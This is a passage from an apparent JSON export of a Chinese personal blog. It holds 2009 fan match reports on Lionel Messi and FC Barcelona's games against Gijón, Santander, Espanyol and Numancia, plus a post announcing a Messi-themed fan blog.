传球到右路，梅西禁区内与对手争顶，无奈个头太矮，球直接飞出底线。第7分钟，梅西中路拿球与埃托奥做配合，无奈埃托奥在两名后卫的干扰下没能拿住球。第 8分钟，阿比达尔左路传球找梅西，梅西前叉禁区左侧在无人干扰的情况下拿球居然重心不稳滑倒；第11分钟，巴萨前场开出角球，巴萨众队员做出精彩配合，伊 涅斯塔长传右路，阿尔维斯右路前插用头将球摆到中路，中路2号卡塞雷斯脚下摆渡，亨利在左门柱位置近在咫尺的头球却被对方门将神奇扑出。开场这10几分 钟，巴萨三叉戟都在努力比拼看谁能打入第100球，获得机会最多的亨利运气太差，没能实现这一愿望。也正是因为这种比拼，巴萨将士在场上稍显急躁，失误也 增多了。还好第100个进球在第22分钟到来，希洪竞技获得右路角球，巴萨队员抢到第一点，随后伊涅斯塔从后场将球“长途跋涉”带到前场，此时希洪竞技后 方空虚，巴萨4名球员-梅西、亨利、埃托奥和伊涅斯塔同时快速推进，形成4打3的局面。伊涅斯塔恰当的将球分到左路亨利脚下，亨利得球后顺势传出一脚弧线 直奔中路，埃托奥恰抢到该点，右脚推射，门将毫无办法。埃托奥打入巴萨本赛季的第100粒入球。\n按照以往的观战“经验”，主场巴萨往往在“开罐” 后就会开始进球表演。第32分钟，布斯克茨中路传球，梅西禁区停球稍大，被对手包夹断掉。第35分钟，梅西右路拿球，三名队员夹防梅西，梅西护球时手臂意 外击中防守球员眼眶。第36分钟，梅西右路带球突进，轻松晃过一名后卫后，在禁区线前被对方两名防守球员上下夹击放倒，巴萨获得任意球，可惜哈维的射门高 出横梁许多。第39分钟，巴萨迎来第二个进球。梅西在右路接哈维中路分球，用假动作骗过两名后卫防守，将球从对方二人中间巧妙塞给插上的埃托奥，埃托奥顺 势扣过一名后卫，近距离打门中的，2:0。进球后，埃托奥特地与梅西言语感谢。上半场剩余时间双方各有攻守，没有入球。整体来看，梅西上半场似乎斗志还很 旺盛。\n比赛中的梅西\n进 入下半场，46分钟，梅西从右路游弋到中路拿球，没有选择突破而是回传中场。47分钟，梅西接拿球直塞，哈维没能跟进，球直接传到对方后卫脚下；第54分 钟，伊涅斯塔从左路将球转移到右路的梅西，梅西面对三名对方后卫防守，与埃托奥做配合，埃托奥回球失误，梅西没能拿到球。第56分钟，梅西右路拿球，直塞 伊涅斯塔，对方断球成功。第59分钟，梅西中圈附近接哈维传球快速突进，轻松晃过一名后卫后，分球给左路埃托奥，后者顺势大门被门将拖出底线。第60分 钟，梅西右路拿球突入禁区，没有传球而是直接打门，球被门将封堵，这个射门显然有些牵强，回放显示射门前梅西被后卫拌了一下，重心没有调整好就起脚了。第 63分钟，哈维中路突然分球右路，梅西快速插上，无奈球速太快没能拿到，球直接出了底线。第64分钟，梅西再次接到队友后场长传，面对对方一名球员的防 守，梅西的球被对方破坏出界，这是在以往少有的场面。似乎从下半场第60分钟后，梅西的兴奋度瞬间下降了，CCTV5的解说员也同样有了同感，并笑称梅西 开始为本周中的阿根廷国家队的友谊赛储备体力呢。\n第65分钟，中路伊涅斯塔传球到右路禁区梅西位置处，对方后卫解围球，阿尔维斯反抢，球 奔梅西而去，梅西侧身用膝盖下方轻巧做球，顺势前叉的阿尔维斯拿球并晃过一名后右脚劲射破门，3:0。梅西这一停球被官方记做梅西个人头上的一次助攻了， 本场已经获得两次助攻的梅西也因此超越队友哈维登上本赛季西甲“助攻王”的宝座。\n梅西突破中\n梅西突破中\n梅西的护球能力超强\n第68分钟，希洪竞技发出前场任意球，左路防守的哈维头球解围，球却恰飞到对方球员脚下，对方球员推射得分，将比分扳为3:1。\n第 69分钟，梅西再显兴奋度下降之态，边线处接队友传球，球居然在这位天才的脚下溜出边线。这哪里是足够兴奋的梅西呢。第70分钟，埃托奥错失上演帽子戏法 的机会，近在咫尺的头球攻门打在右侧门柱后弹出。第73分钟，梅西再次左路拿球发起突破，不过球在底线处被断，梅西以往的灵巧在本次突破中均未显现。第 80分钟，梅西左路拿球，面对三名后卫的防守，梅西护住球等待队友插上，阿尔维斯会意后插上，不过梅西没有给出恰到好处的传球，阿尔维斯减速瞬间梅西的球 才传出，球被破坏。后续比赛时间，双方再换人中度过，最终比分定格在3:1，巴萨迎来10连胜，继续以12分领跑。\n梅西快速启动\n从上面的表现可以看出梅西在本场似乎没能全力以赴，两次助攻虽然值得表扬，但是在球迷心中天才梅西应该表现的更好些。没能继续进球也是梅西在本场的一个遗憾。呵呵，球迷都是这样的，都希望自己喜欢的球星每场都有上佳表现。\n到目前为止梅西在本赛季的联赛中已经献上16粒入球和10次助攻，算上其他杯赛和冠军联赛，梅西在30场比赛中共打入25粒入球，献上了13次助攻。放眼当今世界足坛又有哪位球员有这样耀眼的数据呢？梅西适当打打盹也是可以理解的，不是吗^_^\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/02/09/barca-vs-gijon-2/","summary":"\u003cp\u003e2009年2月9日凌晨2点（北京时间），西班牙足球甲级联赛第22轮巴萨主场迎来了升班马希洪竞技队的 挑战。在本赛季第三轮两队的首度较量中，巴萨曾经在希洪竞技的主场以6:1的大比分拿对手“祭旗”，赢得巴萨本赛季的首场胜利。同时那场大胜也一扫巴萨赛 季开局不利的阴霾，拉开了巴萨领跑欧洲联赛的大幕。本场比赛开场前，球队在容纳近10万人的诺坎普体育场举行了一个小型的庆祝仪式，庆祝巴萨在上一场与桑 坦德竞技的比赛中打入俱乐部历史上的第5000个西甲联赛进球，而“5000球先生”-巴萨新国王梅西也顺理成章的成为这次庆祝仪式的主角，巴萨为此还请来了俱乐部历史上的“3000球先生”恩里克-奎尼和“4000球先生”阿莫尔为仪式助兴。\u003c/p\u003e","title":"梅西·巧助攻难掩兴奋不足"},{"content":"本人非常喜欢看足球比赛，年轻的时候(现在也不是很老哦^_^)喜欢踢足球，高中、大学时尤其爱踢。本人喜欢蓝白军团阿根廷队，这也源于最初对球星巴蒂斯图塔的热爱，巴蒂可是我的第一个足球偶像哦，但无奈偶像巴蒂已经退役。不过经历了多年(大约三年)的寻觅，同样是来自阿根廷的球员，来自潘帕斯高原的精灵，年轻的足球天才-梅西进入了我的视野，从2005年的世青赛、2006年世界杯直至2008年北京奥运会，梅西的优异表现都让世人所瞠目，更让大家吃惊的是今年年仅21岁的梅西竟然身披巴萨10号球衣，带领巴萨在2008-09赛季的西甲联赛中所向披靡，并连续两年入围欧洲金球奖和世界足球先生的前三甲。梅西的球技和球品让我再次找到了自己的心目中的偶像。\n写博客已经成为我的生活习惯之一，年前突然想到：既然自己这么喜欢足球喜欢梅西，为什么不开个博客专门写足球写梅西呢？有了这个想法后，自己也是”热血沸腾“了许久，并尝试在”大巴“注册新博客，博客的自定义域名部分我选择了”lionelmessi“，结果注册成功。博客名的选取着实费了一番功夫，最后敲定”梅西本纪“，颇有些中国传统文化的味道。博客的标题也诠释了其主要内容都是围绕着梅西。副标题：”献给全世界所有喜爱和支持梅西的球迷们“，也是希望这个博客记录下的点点滴滴能够给喜爱梅西的球迷们带来些快乐。\n从2009年初一直到现在，我已经写了八篇文章了，内容比较单一，主要写的是梅西在近期西甲联赛和国王杯赛中的表现，我的计划是有时间再回顾一下世青赛、世界杯、美洲杯以及奥运会时的梅西。另外文章的内容也会更加广泛一些，希望喜欢梅西以及巴萨的球迷们关注和订阅我的新博客- 梅西本纪(http://lionelmessi.blogbus.com)^_^。\n梅西本纪\n","permalink":"https://tonybai.com/2009/02/04/start-to-write-the-biography-of-leomessi/","summary":"\u003cp\u003e本人非常喜欢看足球比赛，年轻的时候(现在也不是很老哦^_^)喜欢踢足球，高中、大学时尤其爱踢。本人喜欢蓝白军团\u003ca href=\"http://www.argstorm.com/\" title=\"阿根廷队\"\u003e阿根廷队\u003c/a\u003e，这也源于最初对球星\u003ca href=\"http://en.wikipedia.org/wiki/Batistuta\" title=\"巴蒂斯图塔\"\u003e巴蒂斯图塔\u003c/a\u003e的热爱，巴蒂可是我的第一个足球偶像哦，但无奈偶像巴蒂已经退役。不过经历了多年(大约三年)的寻觅，同样是来自阿根廷的球员，来自\u003ca href=\"http://tonybai.com/2006/06/17/messi-the-genius-of-pampas/\" title=\"潘帕斯高原的精灵\"\u003e潘帕斯高原的精灵\u003c/a\u003e，年轻的足球天才-\u003ca href=\"http://en.wikipedia.org/wiki/Lionel_Messi\" title=\"梅西\"\u003e梅西\u003c/a\u003e进入了我的视野，从2005年的\u003ca href=\"http://tonybai.com/2007/07/27/maradona-initiate-the-way-to-giant-star-of-world-youth-soccer/\" title=\"世青赛\"\u003e世青赛\u003c/a\u003e、2006年\u003ca href=\"http://tonybai.com/2009/01/14/the-story-of-leomessi-his-first-goal-of-worldcup/\"\u003e世界杯\u003c/a\u003e直至2008年\u003ca href=\"http://tonybai.com/2008/08/08/now-let-us-be-the-witness-of-29th-beijing-olympic-games-together/\"\u003e北京奥运会\u003c/a\u003e，梅西的优异表现都让世人所瞠目，更让大家吃惊的是今年年仅21岁的梅西竟然身披巴萨10号球衣，带领\u003ca href=\"http://www.fcbarcelona.com/\" title=\"巴萨\"\u003e巴萨\u003c/a\u003e在2008-09赛季的西甲联赛中所向披靡，并连续两年入围欧洲金球奖和\u003ca href=\"http://tonybai.com/2009/01/13/leomessi-start-again-from-scratch-on-2009/\" title=\"世界足球先生\"\u003e世界足球先生\u003c/a\u003e的前三甲。梅西的球技和球品让我再次找到了自己的心目中的偶像。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://tonybai.com/2007/01/10/i-am-writing-blog-all-the-time-on-2006/\" title=\"写博客\"\u003e写博客\u003c/a\u003e已经成为我的生活习惯之一，年前突然想到：既然自己这么喜欢足球喜欢梅西，为什么不开个博客专门写足球写梅西呢？有了这个想法后，自己也是”热血沸腾“了许久，并尝试在”\u003ca href=\"http://www.blogbus.com\" title=\"博客大巴\"\u003e大巴\u003c/a\u003e“注册新博客，博客的自定义域名部分我选择了”\u003ca href=\"http://lionelmessi.blogbus.com\" title=\"Lionel Messi\"\u003elionelmessi\u003c/a\u003e“，结果注册成功。博客名的选取着实费了一番功夫，最后敲定”\u003ca href=\"http://lionelmessi.blogbus.com\" title=\"梅西本纪\"\u003e梅西本纪\u003c/a\u003e“，颇有些中国传统文化的味道。博客的标题也诠释了其主要内容都是围绕着梅西。副标题：”献给全世界所有喜爱和支持梅西的球迷们“，也是希望这个博客记录下的点点滴滴能够给喜爱梅西的球迷们带来些快乐。\u003c/p\u003e","title":"“梅西本纪”开张了！"},{"content":"2009年2月2日凌晨0点整（北京时间），2008-09赛季西甲联赛第21轮的一场关键战役打响，领头羊巴塞罗那队做客沙丁鱼人球场挑战近来状态甚好的桑坦德竞技，后者在最近七轮比赛中取得了不败战绩。此役前巴萨在国王杯四分之一决赛中主场3:2险胜西班牙人队晋级四强，那场比赛梅西打 满全场，所以梅西本场轮休坐在替补席上，老队长后防中坚普约尔因伤将休战几周时间。近来巴萨虽然在各条战线未尝败绩，仍然被外界媒体看作是目前欧洲最好的 球队之一，但最近的双线作战中巴萨众将士已显露出疲态，特别是主力球员，像梅西、哈维等人，国王杯主场对阵西班牙人一役也在某些方面印证了这一点。巴萨的 死对头皇马的一些球员也认为巴萨的疲劳期已经到来，现阶段是皇马赶超巴萨的最好时机。\n本场比赛巴萨阵容略有调整，伤愈复出的马科斯与小将皮克搭档镇守中路，阿尔维斯和阿比达尔双翼齐飞；前卫线哈维领衔，布斯克茨与图雷分列左右；伊涅斯塔顶替梅西的位置，与埃托奥和亨利组成前场“三叉戟”，门将依然是一号巴尔德斯。对手阵中从瓦伦西亚租借过来的2米出头的高中锋日基奇是巴萨后防线需要重点看防的球员。本场比赛的另外一个看点就是谁能打入巴萨在西甲联赛历史上的第5000个进球，西甲媒体普遍看好梅西能完成这一使命，坐在替补席上观战的梅西能否做到呢？还要看比赛中他能否上场以及上场后的表现了。CCTV5没能直播这场比赛，而是安排在凌晨2点录播；国内另一家媒体CSPN直播了本场比赛，但总感觉CSPN的转播效果要逊色CCTV5很多，毕竟还是刚起步的媒体。\n巴萨最近几场比赛，无轮主客场，上半场几乎都没能取得进球，有些场次的上半场还打的比较沉闷。本场比赛依旧，整个上半场巴萨前场进攻都不是很流畅，失误较 多，似乎却了梅西就没有了章法，伊涅斯塔在右路也不适应，没能发挥出应有水准。埃托奥基本消失，只有亨利在左路不断寻觅机会，但每每都被对方阻拦在左侧禁 区外。巴萨直到第25分钟才获得一个任务球机会，可惜阿尔维斯的“高射炮”将机会浪费掉了。罗纳尔迪尼奥走后，巴萨在主罚直接任意球的人才方面似乎有所缺 失，梅西的直接任意球还欠火候儿；其他人主罚的成功率也很低，倒是一些非直接攻门的任意球战术配合在本赛季执行的不错，例如巴萨主场对阵马竞时梅西的两个 进球。反观对手的战术倒是执行的很到位，防守反击做的很好，射门次数和威胁程度都要多于巴萨，而巴萨的两名中卫的配合也值得商榷，如果一直按照上半场这样 打下去，巴萨很可能停下联赛连胜的脚步，甚至是输掉比赛。\n下班场开场瓜帅没有调整阵容，对方也一样。巴萨场上的进攻节奏依然没有理顺，始终没能给对方以强大的前场压制力，对方则逐渐凭借主场优势给予巴萨越来越多 的反击。巴萨的后卫线则只能用不断的犯规来截断对手的进攻，这样一来警告和黄牌就自然不可避免了。此时摄像机已经捕捉到场边正在热身的10号梅西了。相信 此时巴萨的球迷们都在热烈期望梅西的登场了。不过好事多磨，就在梅西登场前，桑坦德竞技打破了场上的沉闷，本场伤愈复出的马科斯在禁区左侧放倒对方球员被 黄牌警告并判以极刑-点球。大个子日基奇骗过门将巴尔德斯一蹴而就，1:0，主队领先。随后瓜帅用梅西替下本场表现很一般的小将布斯克茨。\n第61分钟，场上出现恐怖一幕，阿尔维斯阻截对方反击时，一记飞铲将对方球员莫拉尔放倒，慢镜显示这几铲球正铲到莫拉尔的左脚脚踝上，镜头上莫拉尔的左脚 严重弯曲变形，随即被担架抬出场外治疗，伤势尚不知晓。这一铲球也引起了对方队员和主场球迷的强烈不满，但阿尔维斯却逃脱了裁判的处罚，本场裁判的执法水 准值得商榷。之后，场上的火药味变得越来越浓。上场后的梅西也看到了这一点，为了避免对方报复，梅西每次拿球都很小心，没有绝对把握是不会拿球强行突破单 骑闯关的，而是尝试先护球并寻找机会与队友做配合，这样的梅西显然更成熟了。\n梅西的表演即将开始。第65分钟，也就是梅西被换上场后的第5分钟后，亨利左路接队友分球后，向前切，急停躲过一名对方后卫后传中，中路哈维在门前高高跃 起头球攻门，球砸在门梁上，弹到球门右侧，此时梅西快速插上右脚推射中的扳平比分。上半场巴萨的进攻重心偏向左路，梅西上场后，巴萨进攻重心变换，让对方 一时无法适应。\n巴萨进球后，场上士气大振，梅西也多次为队友传球，可惜队友临门一脚不是被封堵就是射偏。另外阿尔维斯第77分钟的一次禁区假摔让裁判找到了掏黄牌的理由，这也是阿尔维斯本赛季的第五张黄牌，下场比赛将无法上场。\n如果比赛一直如此下去，巴萨就将面对客场取得一分的现实，皇马也会趁机追回2分，但梅西没有让这样的事情发生。第80分钟，巴萨中路发起进攻，对方后卫在 禁区左侧断球解围失误，球莫名其妙弹起高高飞向右路，梅西快速插上，高高跃起，空中胸部停球，此时对方后卫也同时出脚扫向梅西，但是这一脚没能阻拦住空中 停球的梅西，梅西顺势跌跌撞撞的过了后卫，球落地弹起后，梅西右脚凌空抽射，门将飞身扑救，无奈球角度太刁钻，2:1，巴萨反超比分。并且巴萨历史上 5000球先生从此诞生了，他就是巴萨新国王-莱奥·梅西。桑坦德竞技的门将也无奈的摇头，面对如此梅西他又能如何呢？\n梅西空中胸部停球\n梅西凌空抽射\n梅西庆祝本场第二个进球，也是巴萨历史上第5000个联赛进球\n此时比赛离结束已经没有多长时间了，不过主裁判的表演还没有结束，已经在本场分别领到一张黄牌的巴萨中卫马科斯和皮克在比赛即将结束前，分别因战术犯规而 被主裁出示第二章黄牌罚下。要知道截至第21轮，西甲的公平竞赛榜单上巴萨都稳居第一，甚至打到现在还没有出现过红牌，巴萨能做到这一点凭借的是前场的强 大压制力，减少了后卫线战术阻拦对方而采取严重犯规的可能性。本场巴萨付出的代价，也从侧面印证了一点：巴萨近来在进攻上出现问题了，这是亟需瓜帅解决的 问题。一周双赛，人员受伤，累积红黄牌停赛，瓜帅身上压力骤增。下一场联赛，整条主力后卫线，只有阿比达尔一人能上场，普约尔受伤、皮克、马科斯停赛，再 加上本周中旬的国王杯，人员紧张问题能否会影响巴萨的成绩，还是要看瓜帅如何排兵布阵了。\n这一次梅西再次扮演球队“救世主“的角色，值得一提的是本场比赛梅西的两个进球都是由右脚攻入的，我们可以看到天才梅西一直没有停止成长的脚步，而是不断的完善自己的技术，在头球、任意球和右脚方面提高自己，这样的梅西令人尊敬。\n另外值得一提是在由法国《队报》、英国《卫报》、德国《图片报》、意大利《米兰体育报》和西班牙《世界报》联合公布的最新一期的“欧洲五大联赛最佳阵容”中，年仅21岁的梅西凭借近段时间联赛和杯赛中的优异表现再次入选；更让大家惊异的是自从“一周欧洲最佳”开始评选以来，梅西在11期中已有7次入围，高居全欧洲第一。由此来看，梅西是当之无愧的当今世界足球的NO.1。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/02/02/racing_santander-vs-barca/","summary":"\u003cp\u003e2009年2月2日凌晨0点整（北京时间），2008-09赛季西甲联赛第21轮的一场关键战役打响，领头羊巴塞罗那队做客沙丁鱼人球场挑战近来状态甚好的桑坦德竞技，后者在最近七轮比赛中取得了不败战绩。此役前巴萨在国王杯四分之一决赛中主场3:2险胜西班牙人队晋级四强，那场比赛梅西打 满全场，所以梅西本场轮休坐在替补席上，老队长后防中坚普约尔因伤将休战几周时间。近来巴萨虽然在各条战线未尝败绩，仍然被外界媒体看作是目前欧洲最好的 球队之一，但最近的双线作战中巴萨众将士已显露出疲态，特别是主力球员，像梅西、哈维等人，国王杯主场对阵西班牙人一役也在某些方面印证了这一点。巴萨的 死对头皇马的一些球员也认为巴萨的疲劳期已经到来，现阶段是皇马赶超巴萨的最好时机。\u003c/p\u003e","title":"梅西·右脚两球演绎救世主"},{"content":"西班牙豪门巴塞罗那队是 到目前为止2008-09赛季欧洲足球五大联赛中表现最优秀和最稳定的球队。联赛以53分高居榜首，领先第二名皇家马德里12分之多；国王杯赛淘汰马德里竞技晋级八强；欧冠联赛一小组第一的身份晋级，16强战对手还是实力稍逊的法甲冠军里昂队；巴萨本赛季的目标就是冲击球队史无前例的“三冠王”，这一切看 上去都很美。但球队毕竟是由一个个球员组成的，球员们的状态不能一直处在高峰，势必也会有短暂的低谷期，精灵梅西也有疲劳期，这不这一现象在国王杯比赛中显现了出来。北京时间2009年1月30日凌晨4:30，2008-09赛季西班牙国王杯四分之一决赛的第二轮比赛打响了，巴萨坐镇主场诺坎普体育场迎来 了同城对手西班牙人的挑战，由于第一轮巴萨在客场与对手战成了0:0，所以这一场杯赛对于本赛季力争“三冠王”的巴萨来说就变得至关重要了，不能有丝毫散失，毕竟巴萨上一次问鼎国王杯还是在10多年前的1997-98赛季。瓜帅无奈的放弃了部分主力的轮休计划，派上了包括梅西、哈维、普约尔和阿尔维斯的近一半主力，力争在主场拿下同城对手，晋级下一轮。\n除 了上面提到的主力之外，其余球员基本上都是巴萨“板凳”，门将平托，后卫皮克、希尔韦尼奥，中场布斯克茨、古德约翰森；前锋线博扬与赫莱布替换主力出场， 分居中路和左路。反观对手西班牙人则悉数替补出战，这同样也是无奈之举。西班牙人虽然在杯赛晋级8强了，但是近期在联赛的表现却每况愈下，已经多轮未尝胜 绩了，主帅也因此下了课，刚上任的新帅波切蒂诺显然更看重联赛排名，对于杯赛西班牙人队选择了“顺其自然”。\n开 场后，巴萨毕竟实力高出对手一筹，占据了场上主动，但更多进攻从中路哈维和左路赫莱布发起，梅西在前30分钟都没有太多出彩的表演，阿尔维斯也多为下底传 中，与梅西的前场配合也减少了些许。第35分钟希尔维尼奥远射，11号博扬门前补射打破僵局，进球后的博扬与梅西相拥而庆。第36分钟，梅西也完成本场比 赛第一次有效攻门。\n梅西张开双臂庆祝小兄弟进球\n梅西与小兄弟博扬相拥而庆\n下半场刚开始，金童博扬就接哈维的精妙传球单刀赴会，一脚轻盈的挑射梅开二度。第56分钟，阿尔维斯右路传中，埋伏在小禁区的皮克头球攻门得手，巴萨3:0 可谓是锁定胜局。但稍后的比赛并没有让巴萨的球迷们轻松度过。巴萨队员心态上的松懈给了对手以喘息和反攻的机会，在接下来10分钟内，西班牙人队依靠两粒近似世界波的入球将比分扳为3:2，要知道如果西班牙人队再入一球，晋级的就不会是巴萨了。瓜帅也意识到了这一点，先后用埃托奥和伊涅斯塔两名主力换下博 扬和赫莱布加强前场对对手的压迫。场上的已显出疲态的梅西也加强了对对手的压力，完成了多次有威胁的射门和传球，在巴萨的压迫下，对手最终也没能翻盘，巴萨惊险晋级国王杯四强。\n梅西在比赛中突破\n梅西在比赛中突破\n梅西坚毅的眼神告诉对手：有我巴萨必胜\n赛后梅西被评为8分。梅西在场上虽显疲态，但发挥依然稳健。另外梅西在场上的角色已经不仅仅是“攻城拔寨”的得分手这么简单了，只要梅西在场上，全队的进攻就会被盘活，无论是主力三叉戟还是替补三叉戟，没有了梅西就失去了活性。梅西仿佛是一管催化剂，让整个巴萨的进攻体系发生剧烈化学作用，兴奋起来，痛击对手。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/01/30/cup-4th-final-barca-vs-espanyol/","summary":"\u003cp\u003e西班牙豪门巴塞罗那队是 到目前为止2008-09赛季欧洲足球五大联赛中表现最优秀和最稳定的球队。联赛以53分高居榜首，领先第二名皇家马德里12分之多；国王杯赛淘汰马德里竞技晋级八强；欧冠联赛一小组第一的身份晋级，16强战对手还是实力稍逊的法甲冠军里昂队；巴萨本赛季的目标就是冲击球队史无前例的“三冠王”，这一切看 上去都很美。但球队毕竟是由一个个球员组成的，球员们的状态不能一直处在高峰，势必也会有短暂的低谷期，精灵梅西也有疲劳期，这不这一现象在国王杯比赛中显现了出来。北京时间2009年1月30日凌晨4:30，2008-09赛季西班牙国王杯四分之一决赛的第二轮比赛打响了，巴萨坐镇主场诺坎普体育场迎来 了同城对手西班牙人的挑战，由于第一轮巴萨在客场与对手战成了0:0，所以这一场杯赛对于本赛季力争“三冠王”的巴萨来说就变得至关重要了，不能有丝毫散失，毕竟巴萨上一次问鼎国王杯还是在10多年前的1997-98赛季。瓜帅无奈的放弃了部分主力的轮休计划，派上了包括梅西、哈维、普约尔和阿尔维斯的近一半主力，力争在主场拿下同城对手，晋级下一轮。\u003c/p\u003e","title":"梅西·疲态显现巴萨险晋级"},{"content":"2009年1月25日凌晨5点（北京时间），号称目前拥有全欧洲甚至全世界最强攻击力的巴萨在主场诺坎普体育场迎战努曼西亚。这场比赛有着几个特殊意义：第一，它是西甲下半程的第一场比赛；第二，对手努曼西亚也是上半程唯一让巴萨缴械的球队，所以这场比赛也被外界看作是巴萨的复仇之战；第三，1月25日是中国传统农历牛年的除夕，希望巴萨能用一场大胜为广大中国球迷们献上牛年大礼。\n虽然今天是中国农历大年三十，但相信众多的中国巴萨铁杆是不会放过这场复仇战的，肯定是早早爬起来看电视直播，同样也期望巴萨能大比分“屠”了努曼西亚，最不希望巴萨在今天给中国球迷的春节“添堵”。\n本场比赛，巴萨阵容没有太大的变化，负责攻城拔寨的仍是前场“三叉戟”-亨利、埃托奥和梅西；中场哈维依然是巴萨的指挥官，瓜帅只是用伊涅斯塔替换凯塔出场，显然本场瓜帅意在必胜；普约尔和小将皮克镇守中路，门将仍然是雷打不动的巴萨1号-巴尔德斯。客队的阵容大家不甚熟悉，这里也就不提了。\n本场比赛前，巴萨在国王杯四分之一决赛的第一场比赛中遗憾闷平西班牙人队，连胜势头被终结，大家也在担心本场巴萨是否会受到一定影响。还有一点不得不提的就是巴塞罗那的天气，从直播中大家就可以看到现场风很大。比赛一开始，巴萨就占据了优势，巴萨的控球艺术别说在西甲，就是在整个欧洲也是尚无对手。与上一场拉科做客诺坎普不 同，努曼西亚没有与巴萨打对攻，而是密集防守寻觅反击的机会。这样一来比赛就会变得不那么好看了。面对这样的防守阵势，巴萨唯有尽快尽早进一个球才是正道。多数时候双方球员都压缩在努曼西亚的半场，这也让巴萨的进攻空间变得越来越狭窄，传球配合的失误率也就相应升高了。不能在主场拿下努曼西亚，这让巴萨 众将士都有些急躁。“三叉戟”轮番冲击着对手坚固的防线，但似乎运气一直不在巴萨这边，每次冲击都无功而返。沉闷（没有进球就暂且理解为沉闷吧^_^）， 这两个字是上半场比赛最好的总结和概括。\n下半场异地再战，巴萨继续保持着对对手的攻势。刚过两分钟，梅西的一次拉动就给队友埃托奥创造了机会，可惜后者越位在先进球无效，不过这似乎给了大家一个信号，一个进球前的信号。阿尔维斯在右路不遗余力的为中路输送着炮弹，直到第49分钟终于收到了 效果，哈维在中路高球直传给几乎同时在右路向前插的阿尔维斯，后者舒服的接到传球后顺势一挑过了一名对方的防守球员，再跟上一顶，将皮球顶向门前。在球似 落地还未落地之时，梅西拍马赶到，用右脚轻触皮球，球在门前横向滚动入网，1:0。继上一场梅西开罐破拉科后，梅西再一次用进球敲开“铁桶阵”。\n进球后，三叉戟共庆祝\n有一项数据统计证实：梅西进球的场次中，巴萨的胜率超过9成。梅西的这一粒主场进球同样也拉开了巴萨进球的序幕。努曼西亚在先失一球后开始加强进攻，后防 逐渐变得空虚，这也为巴萨后续进球奠定了良好的条件。第53分钟，巴萨的一个团队配合还是从右路的阿尔维斯发起，伊涅斯塔中路接球后横向带球，找到空档直 传给埃托奥，后者趟过一名后卫的拦截后，左脚打门得手，这是本赛季E9在联赛中的第19个进球。进球后，埃托奥孩童般的伸出舌头庆祝。第61分钟，皮克禁 区外手球，努曼西亚获得一位置极佳的定位球机会，巴尔克罗没有辜负队友的期望，以一记刁钻且极为漂亮的任意球为努曼西亚夺回一分。\n此时场上的“三叉戟”中 就差亨利没有入球了，梅西没有忘记亨利，第70分钟，梅西在右路接到哈维组织的传球，与埃托奥做了一个撞墙式的配合后，迅速切到对方禁区弧顶处，带球闪过 多名后卫的围抢后，在禁区左侧位置将球传给中路的亨利，后者背身停稳球调整好姿势后，转身就是一个扫射，球打入球门死角，3:1，这次助攻也将梅西的才华 展现的淋漓尽致，一个人带动对方整条后防线重心偏移失位。亨利在进球后随即被28号布斯克茨换下。\n一射一传后的梅西逐渐兴奋起来，第75分钟，梅西卷土重来。伊涅斯塔左路传中找禁区里的埃托奥，后者扣过两名后卫射门未遂，将球反抢下来后，横传给中路位 置更佳的梅西。梅西拿球瞬间扣过一名后卫，面对左右两名过来逼抢的后卫，梅西凌波微步式的左右拨球晃过对方防守，并在门将出击封堵前射门，球被门将拦了一 下，梅西越过门将右脚补射空门得手，4:1，梅西帮助巴萨锁定胜局。梅西的Fans们现在最想的就是梅西能再进一个球来个帽子戏法。梅西在终场前的确得到 了两次机会：第82分钟，梅西在右路通过速度获得了一次近似单刀的机会，不过梅西的右脚射门（梅西的意图是打门将小门^_^）被出击的门将化解；第二次， 也是比较可惜的、最接近于进球的一次发生在第86分钟，梅西在右路接队友中路的过顶传球快速切入对方腹地，在门将出击前一记挑射，如果按照以前的状况，该 球必近。可下半场巴萨打的是顺风球，球没有及时下降而是击中横梁弹出，就这样梅西与本赛季联赛的第一个帽子戏法失之交臂。\n梅西连续护球过人\n梅西连续护球过人\n梅西连续护球过人\n梅西连续护球过人\n补时2分，双方都无建树，最终比分巴萨4:1击败努曼西亚，赢得复仇之战。巴萨国王梅西两射一传为中国球迷献上牛年大礼包，感谢梅西的精彩入球。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/01/25/barca-vs-numancia/","summary":"\u003cp\u003e2009年1月25日凌晨5点（北京时间），号称目前拥有全欧洲甚至全世界最强攻击力的巴萨在主场诺坎普体育场迎战努曼西亚。这场比赛有着几个特殊意义：第一，它是西甲下半程的第一场比赛；第二，对手努曼西亚也是上半程唯一让巴萨缴械的球队，所以这场比赛也被外界看作是巴萨的复仇之战；第三，1月25日是中国传统农历牛年的除夕，希望巴萨能用一场大胜为广大中国球迷们献上牛年大礼。\u003c/p\u003e","title":"梅西·两射一传献牛年礼包"},{"content":"2004年10月17日（北京时间）凌晨4时，对于普通人来说这一天的这一时刻再普通不过了，但对于全世界的“梅西迷”们来说，它却绝对是值得大家兴奋和牢记的一天。因为在这一天，大家喜爱和支持的天才少年梅西（Lionel Messi）第一次代表巴萨在西甲的赛场上亮相了。\n这是2004-05赛季西甲联赛第7轮比赛中的一场焦点之战，巴萨坐镇主场诺坎普体育场迎战同城对手西班牙人队，德比战的激烈程度向来都是值得称道的。开场后，双方就展开了对攻，不过还是实力稍高一筹的巴萨率先打破僵局。11号球员葡萄牙中场核心德科（Deco） 在第9分钟接到埃托奥传球25码处射门中的，巴萨1:0领先。随后，双方互有攻守，但始终都没能转化为得分。第83分钟，进球功臣德科下场休息，小将梅西 被替换上场。那时那刻，还略带些青涩的少年梅西才刚满17岁，准确的说是17岁3个月零22天。面对诺坎普体育场的数万名球迷，梅西的神情不免有些严肃和 紧张。留给他的时间只有不到10分钟，梅西上场后便努力尝试去在短时间内融入比赛。先是一次边路突破，但可惜后面没有巴萨的球员跟上；另外一次梅西在右路 凭借娴熟的个人技术向中路突破，过了一人后被补防的后卫靠身体优势放倒。90分钟比赛结束，梅西完成了个人西甲首演。赛后媒体一致认为梅西没有浪费主教练 